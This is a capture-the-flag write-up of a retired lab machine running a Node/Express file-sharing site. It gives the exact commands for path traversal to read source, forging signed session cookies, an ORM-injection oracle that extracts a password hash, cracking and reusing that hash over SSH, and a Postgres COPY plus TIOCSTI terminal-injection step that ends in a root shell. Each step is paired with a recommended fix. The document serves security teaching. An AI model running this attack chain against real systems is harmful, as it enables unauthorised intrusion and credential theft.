Download
Summary
I found a Node/Express file-sharing site behind nginx whose download handler could be tricked into returning the application's own source files. The source exposed the hard-coded key that signs login cookies and named the likely system user, wesley.
With the key, I forged session cookies and abused a database-query injection in the /home page to extract an administrator's password hash one character at a time. The hash was an unsalted MD5 of a common password and cracked in seconds, and the same password worked for SSH as wesley.
From that shell, a world-readable systemd service file leaked database credentials. That database account had file-write privileges that reached the postgres OS account's shell startup files, and a root-run maintenance script later opened an interactive postgres session in its own terminal, giving me a way to drive that root-owned terminal and make /bin/bash SUID-root for full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for wesley>"
export PASSWORD4="<the-password-you-recovered, for pwn555>"Attack path: how the box was taken
Exact commands 5
Full port sweep, then service detection on the open ports.
$ nmap -p- --min-rate=1000 $TARGET && nmap -sCV -p22,80 $TARGETResolve the vhost that nginx redirects to.
$ echo "$TARGET download.htb" | sudo tee -a /etc/hostsFingerprint the web stack and session cookie.
$ curl --resolve download.htb:80:$TARGET -sS -D - http://download.htb/ -o -Create a normal user account.
$ curl --resolve download.htb:80:$TARGET -sS -c download.cookies -b download.cookies -L -d "username=pwn555&password=$PASSWORD4" http://download.htb/auth/register -o /dev/null -w 'final=%{url_effective} code=%{http_code}\n'Log in and capture the download_session / download_session.sig cookies.
$ curl --resolve download.htb:80:$TARGET -sS -c download.cookies -b download.cookies -i -d "username=pwn555&password=$PASSWORD4" http://download.htb/auth/loginExact commands 2
Also try /%2fapp.js. Reads app.js, which embeds the signing key.
$ curl --resolve download.htb:80:$TARGET -sS -b download.cookies 'http://download.htb/files/download//app.js'Reveals the project author (wesley).
$ curl --resolve download.htb:80:$TARGET -sS -b download.cookies 'http://download.htb/files/download//package.json'FixNormalise and validate file paths before serving downloadsHigh
Exact commands 1
Replace <KEY_FROM_APP_JS> with the secret read from app.js; the trailing '=' on the signature is stripped.
$ python3 -c "import base64,hmac,hashlib,json; k=b'<KEY_FROM_APP_JS>'; c=base64.b64encode(json.dumps({'flashes':{'info':[],'error':[],'success':[]},'user':{'id':1,'username':'admin'}}).encode()).decode(); s=base64.urlsafe_b64encode(hmac.new(k,('download_session='+c).encode(),hashlib.sha1).digest()).decode().rstrip('='); print('download_session='+c); print('download_session.sig='+s)"FixRemove the hard-coded cookie-signing secret and stop trusting client-supplied session contentCritical
Exact commands 3
Custom script: for each hex position, forge a cookie with user {id:1,username:'wesley',password:{startsWith: prefix+candidate}} and keep candidates where the response is NOT 'No files found'; repeat for 32 chars.
$ python3 oracle.py --url http://download.htb/home/ --key <KEY_FROM_APP_JS> --target-user wesleyCrack the recovered unsalted MD5 hash.
$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txtPassword reuse over SSH. Prove access with id/hostname, then read <user.txt>.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null wesley@$TARGET 'id; hostname; cat /home/wesley/user.txt'
uid=1000(wesley)FixStop passing session/user-controlled objects directly into ORM query filtersCritical
Exact commands 2
Service file readable by any local user; discloses DB credentials.
$ cat /etc/systemd/system/download-site.serviceLog in to Postgres with the leaked credentials (password: $PASSWORD).
$ psql -U download -h 127.0.0.1 -W downloadFixRemove plaintext database credentials from the systemd unit fileHigh
Exact commands 1
Monitor process creation as an unprivileged user to spot the root-run /root/manage-db cycle.
$ ./pspy64 -pfExact commands 5
Confirm the download role's privileges include COPY.
$ psql -U download -h 127.0.0.1 -W download -c "\du"Plant the launcher into every shell-startup file the postgres account might source.
$ psql -U download -h 127.0.0.1 -W download -c "COPY (select 'python3 /tmp/x.py') TO '/var/lib/postgresql/.bash_login'; COPY (select 'python3 /tmp/x.py') TO '/var/lib/postgresql/.bashrc'; COPY (select 'python3 /tmp/x.py') TO '/var/lib/postgresql/.profile';"Stage a small script that pauses its own parent process and feeds 'chmod +s /bin/bash\n' into the controlling terminal's input buffer via a TIOCSTI ioctl, then upload it as /tmp/x.py.
$ scp tty_inject.py wesley@$TARGET:/tmp/x.py && ssh wesley@$TARGET 'chmod 755 /tmp/x.py'Wait for the next /root/manage-db tick to trigger the postgres login and the ioctl payload; bash should flip to -rwsr-sr-x root:root.
$ watch -n5 'ls -lah /bin/bash'Once SUID is set, spawn bash with -p to keep root privileges, prove access, then read <root.txt>.
$ ssh wesley@$TARGET '/bin/bash -p -c "id; hostname; cat /root/root.txt"'FixRestrict the database role's filesystem privileges and avoid shared-terminal privilege switches in automationCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.